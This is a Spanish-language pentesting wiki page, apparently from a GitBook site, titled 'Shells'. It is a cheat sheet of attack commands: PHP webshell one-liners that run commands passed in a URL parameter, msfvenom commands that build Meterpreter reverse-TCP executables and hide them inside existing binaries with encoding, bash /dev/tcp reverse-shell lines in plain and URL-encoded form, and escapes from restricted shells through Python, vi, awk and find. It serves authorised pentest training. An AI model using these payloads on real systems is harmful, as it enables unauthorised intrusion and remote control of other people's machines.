📚
Securiters Wiki
  • 👋Índice
  • 🐣Conceptos Básicos
  • 🔍OSINT
    • Empresas
    • Personas
    • SOCMINT
    • URLs / IPs
  • 🕸️Web
    • 1. Recolección de información
    • 2. Enumeración y descubrimiento
    • 3. Configuración del servidor
    • 4. Entrada de datos
    • 5. Fuerza bruta
    • 6. Autenticación y autorización
    • 7. LFI/RFI
    • 🧞‍♂️CMS
  • 🐢APIs
  • ☎️Móviles
    • 👾Android
    • Analisis Estatico Android
    • Analisis Dinamico Android
    • 📱iOS
    • Jailbreak
    • Analisis Estatico iOS
    • Analisis Dinamico iOS
  • 🎯Internas
    • 🐧Linux
    • 🏹AD
      • Enumeracion
      • Mimikatz & PassTheHash
      • Local Privilege Escalation
      • PE - AS-REPRoast
      • PE - DNSAdmin
      • PE - Kerberoast
      • PE - Trusts
      • PE - Delegations
      • Persistencia - ACLs
      • Persistencia - Kerberos & Tickets
  • 📶Wifi
    • WEP
    • WPS
    • Redes PSK
    • Redes MGT
    • Redes ocultas
  • ⚔️Pentesting / Red team
    • Windows
      • Enumeración
      • Elevación de Privilegios
    • Linux
      • Enumeración
      • Elevación de Privilegios
    • Shells
  • 🛡️Blue Team
  • 📡Puertos & Servicios
    • 21 - FTP
    • 22 - SSH
    • 23 - Telnet
    • 25 - SMTP
    • 53 - DNS
    • 79 - Finger
    • 80 - HTTP
    • 88 - Kerberos
    • 110 - POP3
    • 111 - RPC
    • 123 - NTP (UDP)
    • 135 - MSRPC
    • 139 - Netbios-ssn
    • 143 - IMAP
    • 161/162 - SNMP
    • 389 - LDAP
    • 443 - HTTPS
    • 445 - SMB
    • 464 - kpasswd5
    • 500 - IPSec/IKE VPN
    • 587 - SMPT STARTTLS
    • 623 - IPMI
    • 631 - CUPS
    • 636 - LDAP
    • 1433/1434 - MS SQL Server
    • 1521 - OracleDB
    • 1720 - VoIP - SIP
    • 1900 - UPnP
    • 2049 - NFS
    • 3306 - MySQL
    • 3389 - RDP
    • 4500 - IPSec (UDP)
    • 5357 - WSDAPI
    • 6379 - Redis
    • 6697 - IRC
    • 8009 - Apache Jserv
    • 8080 - HTTP Alt
    • 8500 - Adobe Coldfusion
    • 10000 - Webmin
    • 49981 - System Management Hub
    • 50000 - SAP
  • 🎣Phishing
  • 🐛Bug Bounty
  • ☁️Cloud
    • AWS
    • Azure
  • 🪲Malware
  • 👻Forense
  • 🛠️Tools & Scripts
    • BloodHound
    • Burp Suite
    • Enum4linux
    • Frida
    • Apps Móviles
      • ADB
      • Objection
    • Wireshark
    • Transferencia de ficheros
    • Libros de hacking
    • Addons
    • 🐧WSL
  • ⛳Practicar
  • 🧙‍♂️Certificaciones
    • Repaso CRTP
    • Repaso OSCP
      • 1. Enumeración
      • 2. Vector de entrada
      • 3. Obtención de credenciales
      • 4. Spraying
      • 5. Movimiento lateral
      • 6. Siguientes pasos
  • 📜Recursos en Telegram
  • 🔊Congresos de ciberseguridad
  • 🗣️Entrevistas realizadas
  • 🎤Charlas y Eventos
  • 👣WRITE-UPS
    • 📗Hack The Box
      • 🟢Return
      • 🟢Love
      • 🟢GoodGames
      • 🟢ToolBox
      • 🟢Traverxec
      • 🟢Granny
      • 🟢Jerry
      • 🟢Networked
      • 🟢Arctic
      • 🟢Mirai
      • 🟢Bashed
      • 🟢TwoMillion
      • 🟠Chaos
      • 🟢Validation
      • 🟢Antique
      • 🟢Busqueda
    • 📗Proving Grounds
      • 🟢MoneyBox
      • 🟢Gaara
      • 🟢InfoSec Prep
      • 🟢DC-1
      • 🟢SunsetNoontide
      • 🟢Shakabrah
      • 🟢Ha-Natraj
      • 🟢Monitoring
      • 🟢DriftingBlues6
      • 🟢PyExp
      • 🟢OnSystemShellDredd
      • 🟢Blogger
      • 🟢Dawn
      • 🟢DC-2
      • 🟢FunboxEasy
      • 🟢Sumo
      • 🟢Inclusiveness
      • 🟢FunboxEasyEnum
      • 🟢Potato
      • 🟢Solstice
      • 🟢SunsetDecoy
      • 🟢Lampiao
      • 🟢Vegeta1
      • 🟢Katana
      • 🟢BBSCute
      • 🟢Sar
      • 🟢EvilBox-One
      • 🟢Seppuku
      • 🟢Funbox Rookie
      • 🟢Photographer
      • 🟢CyberSploit1
      • 🟢Amaterasu
      • 🟠Pwned1
      • 🟠My-CMSMS
      • 🟠ICMP
      • 🟠DC-9
      • 🟠SunsetMidnight
      • 🟠Election1
      • 🟠DC-4
      • 🟠Stapler
      • 🟠BTRSys2.1
      • 🟠Assertion101
      • 🟠Loly
      • 🟠SoSimple
      • 🟠Tre
      • 🟠Funbox
      • 🟠NoName
      • 🔴GlasgowSmile
      • 🔴InsanityHosting
      • 🔴Djinn3
      • 🟠CTF SunsetMidnight
Powered by GitBook
On this page
  • 1. Webshells
  • 2. Generación de shells
  • 3. Shells interactivas
  • 4. Evasión de shells restrictivas
  • Referencias
  • Recursos:

Was this helpful?

  1. Pentesting / Red team

Shells

1. Webshells

En Kali está la ruta

/usr/share/webshells

PHP


# Ejecuta un comando
<?php system("whoami"); ?>

# shell.php?cmd=whoami
<?php system($_GET['cmd']); ?>

# Igual con passthru
<?php passthru($_GET['cmd']); ?>

# Para que shell_exec muestre el resultado hay que usar echo 
<?php echo shell_exec("whoami");?>

# preg_replace(). 
<?php preg_replace('/.*/e', 'system("whoami");', ''); ?>

# Usando backticks
<?php $output = `whoami`; echo "<pre>$output</pre>"; ?>

<?php echo `whoami`; ?>

2. Generación de shells

Msfvenom

  1. Windows

msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f exe -o shell_reverse.exe
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp

Inyectar el payload en un binario

msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f exe -e x86/shikata_ga_nai -i 9 -x "/binario.exe" -o binariOutput.exe

  1. Linux

0<&196;exec 196<>/dev/tcp/IP/PORT; sh <&196 >&196 2>&196
bash -i >& /dev/tcp/IP/PORT 0>&1

#encoded
bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2FIP%2FPORT%200%3E%261%22

3. Shells interactivas

Python

python -c 'import pty; pty.spawn("/bin/sh")'
python -c "import pty;pty.spawn('/bin/bash')"
python -c 'import os; os.system("/bin/bash")'

Echo

echo 'os.system('/bin/bash')'

sh

/bin/sh -i

bash

/bin/bash -i

Perl

perl -e 'exec "/bin/sh";'

Desde FTP

!/bin/bash

Desde VI

:!bash
:set shell=/bin/bash
:sh

4. Evasión de shells restrictivas

SSH

ssh username@IP -t "/bin/sh"
ssh username@IP -t "bash --noprofile"
echo /usr/bin/*
$(whoami)
${whoami}

Editores de texto

:!/bin/sh
:shell
:set shell=/bin/sh

Python

import os; os.system("/bin/sh")

PHP

exec("sh -i");
php -r "system('/bin/bash');"
hp -a then exec("sh -i");

Miscellaneous

awk 'BEGIN {system("/bin/sh")}'
find / -name foobar -exec /bin/sh \;
echo "bash -i" | tee script.sh

Referencias

Recursos:

PreviousElevación de PrivilegiosNextBlue Team

Last updated 9 months ago

Was this helpful?

⚔️
https://vk9-sec.com/linux-restricted-shell-bypass/
https://pranavgadekar.medium.com/the-tale-of-restricted-shell-bypass-leading-to-arbitrary-code-execution-fdb8d5588426
https://sushant747.gitbooks.io/total-oscp-guide/content/reverse-shell.html
https://www.revshells.com/
https://github.com/brightio/penelope